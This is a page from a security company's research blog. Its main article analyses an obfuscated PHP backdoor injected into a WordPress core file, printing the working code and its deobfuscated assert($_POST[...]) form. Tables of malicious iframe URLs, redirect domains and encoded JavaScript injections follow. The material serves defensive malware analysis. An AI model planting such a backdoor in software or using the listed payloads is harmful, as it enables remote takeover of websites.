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Sucuri Research Labs

The home of our Security Operations Group, including our Malware Research and Incident Response teams.

Malicious redirects are very common in compromised websites. Attackers try to take advantage of the site resources to promote spam, distribute other malware/backdoors, and perform all kinds of malicious activities.

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Undesired Redirects

2017-06-13  by  Cesar Anjos

Whether it is your own or a website you are visiting, undesired redirects and pop-ups are always annoying. The situation gets worse when your visitors start to get infected and your SEO ranking starts to drop.

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SEO spam is quite a common type of website infection. In most cases, hackers use techniques that require just a simple text editor to create the malicious content: hidden links, HTML doorways, PHP or ASP cloaking scripts, rewrite/redirect rules in .htaccess. But this is not always the case. Nothing prevents them from using binary malware if a server supports it.

This time we’ll show how Japanese spam scripts (promoting products being sold in Japanese e-commerce websites) use compiled DLLs (dynamically-linked libraries) on ASP.NET sites on IIS servers.

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When investigating a compromised website, our team has to make sure that all malware and backdoors are cleared from the environment. In some instances, these backdoors are easier to detect than others, but that's not always the case.

Attackers have been using different techniques to avoid detection with automated scanners, such as abusing of PHP tricks and abusing of spaces. In this article, we'll uncover another simple yet powerful method to execute commands remotely (RCE) while going undetected by regular scanners.

This obfuscation technique consists of adding undefined variables with string concatenation in order to allow RCE via the use of a PHP function called assert(). The code was injected into the WordPress file “./wp-includes/Requests/Exception/HTTP/511.php”. Here is the snippet:

error_reporting(0); 
$k="a"."".$sdfds."ss"."e".$jieos.""."rt"; 
$k/*;*/(/*;*/$/*;*/{"_".""."P".$esdwos."O"."S".$wmdir."T"} ['Derrtreuu54ew5']);

Please note that except for $k, all the other variables ($sdfds, $esdwos, ..) were not initialized. This would implicate in the following PHP Notice if it wasn’t for the error_reporting(0); declaration.

[Tue May 30 13:02:48.226182 2017] [:error] [pid 31554] [client 192.168.1.1:48152] PHP Stack trace:
[Tue May 30 13:02:48.226185 2017] [:error] [pid 31554] [client 192.168.1.1:48152] PHP   1. {main}() /var/www/bd.php:0
[Tue May 30 13:02:48.226241 2017] [:error] [pid 31554] [client 192.168.1.1:48152] PHP Notice:  Undefined variable: esdwos in /var/www/bd.php on line 5

After cleaning up the undefined variables and concatenating the strings (which were there only as a evasion technique), we can clearly see the backdoor:

assert($_POST['Derrtreuu54ew5']);

This snippet allows attackers to execute remote commands on the compromised website by sending a crafted $_POST request through the variable “Derrtreuu54ew5”.

As the malicious code was injected into the core WordPress structure (./wp-includes/…), a File Integrity Monitoring System would be able to quickly report these issues to the website owner and give them the chance in reducing damages to their online presence and SEO. Having regular backups of your files/database is also a great security measure to lessen the impacts of a compromise.

If you want to make sure your website is clean of backdoors that could be the entry point for infections and reinfections, let us know.

Latest malware entries

Hidden iframes

Latest hidden iframes our scanner have identified on compromised web sites.

# of sites infectedTypeMalware / Domains
55iframehttp://poseyhumane.org/stats.php
6iframehttp://zumobtr.ru/gate.php?f=1041671
6iframehttp://ads.rzb.ir/image.php?size_id=7
4iframehttp://www.cascadecowcutters.org/wp-content/upgrade/update.php
4iframehttp://couriertracking247.in/
2iframehttp://stjohnsdryden.org/img/common/download.php
2iframehttp://bucknine.cf/visionovni17.html
1iframehttp://www.trypie.info/update.php
1iframehttp://vefire.ru/apps/11/
1iframehttp://criosfera.cf/marahmerah17.html
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Conditional redirections

Conditional redirections we have detected (based on user agents or referers).

# of sites infectedTypeMalware / Domains
9redirectionshttp://goodhotwebmart.in/
6redirectionshttp://www.mpzbearing.in/
5redirectionshttp://portal-d.pw/XcTyTp
4redirectionshttp://default7.com
4redirectionshttp://alfsystem.com.my/includes/domit/1.php
2redirectionshttp://wwwjazztel.com/?folio=9PO6Z3MVF
2redirectionshttp://ww1.zibahairsalon.com/?folio=9POGF6H4I
2redirectionshttp://ww1.mtclassificados.net/?folio=9POGF6H4I
2redirectionshttp://top-24h-can-store.com/redirect.php?z=viagra
2redirectionshttp://summerphotography.net/?folio=9PO6Z3MVF
2redirectionshttp://slonova-gora.com/?folio=9POGF6H4I
2redirectionshttp://nubiangraphics.com/?folio=9PO6Z3MVF
2redirectionshttp://myflippincoach.biz/Deals/MyFlippinCoach/
2redirectionshttp://mathaids.com/?folio=9PO6Z3MVF
2redirectionshttp://luxurytds.com/go.php?sid=
2redirectionshttp://luckyherbssupply.in/
2redirectionshttp://laatminute.com/?folio=9PO6Z3MVF
2redirectionshttp://huaweidevices.es/?folio=9POGF6H4I
2redirectionshttp://hotmp3s.com/?folio=9PO6Z3MVF
2redirectionshttp://goldpole.com/?folio=9PO6Z3MVF
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Spammers

Latest spammers we have detected sending comment, forum or SEO spam.

# of sites infectedTypeMalware / Domains
20spammerhttp://123livesex.com/,forumspam,2014-01
20spammerhttp://20min.ch,forumspam,2014-01
20spammerhttp://90210daily.com/,forumspam,2014-01
20spammerhttp://EzAdBlaster.com,forumspam,2014-01
20spammerhttp://absolutefringe.com,forumspam,2014-01
20spammerhttp://adaptfunrun.org/,forumspam,2014-01
20spammerhttp://andresmarcossanchez.com/MichaelKors/ ,forumspam,2014-01
20spammerhttp://appliancelandinc.com/,forumspam,2014-01
20spammerhttp://audiobookkeeper.ru/,forumspam,2014-01
20spammerhttp://australiainternetsearch.com/,forumspam,2014-01
20spammerhttp://autism.sedl.org/index.php/about-us,forumspam,2014-01
20spammerhttp://axanaxplease.com/,forumspam,2014-01
20spammerhttp://ayurvedatradicional.com/wordpress/ ,forumspam,2014-01
20spammerhttp://azezhomeloans.com/body.html,forumspam,2014-01
20spammerhttp://baltimorecomiccon.com/sponsors/,forumspam,2014-01
20spammerhttp://bashkiaprrenjas.com/,forumspam,2014-01
20spammerhttp://bellezzaamica.it/Moncler-Sale-With-Free-Shipping.html,forumspam,2014-01
20spammerhttp://birdsofstkittsnevis.com/files/,forumspam,2014-01
20spammerhttp://bmaphoenix.org/young-professionals/,forumspam,2014-01
20spammerhttp://bradblaze.com.au/,forumspam,2014-01
Limited view... Only the top entries being displayed.

Encoded javascript

Encoded javascript (redirecting to blackhole and other exploit kits) or to build a remote call.

# of sites infectedTypeMalware / Domains
12javascripthttp://div-class-container.ru/m/": var a910ab1=[855,915,955,960,973,887,970,971,976,963,956,916...
22javascript<script>var b="red";c="mod";function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c...
20javascript<script>var b="red";c="mod";function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c...
17javascript<script src="http://pops.virgilio.us/pop.php?id=1"></script>
10javascript<script>var b="red";c="mod";function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c...
9javascript<script type="text/javascript">var pid='52877';var pixel='468x60';var c_pid='YWQ2LmV1';var pare...
9javascript<script type="text/javascript" src="http://psicholog-msk.ru/scripts/kd7tvnbv.php?id=3023929"></...
3javascript<script>izs=19099;tm="168242";</script><script language="JavaScript" type="text/JavaScript" cha...
2javascript<script type="text/javascript" src="http://ledomaine-miltat.fr/crbst_pa_0_p_22dshk39np8ay/wqqry...
1javascript<script type="text/javascript" src="http://ledomaine-miltat.fr/crbst_pa_0_p_22dshk39np8ay/wqqry...
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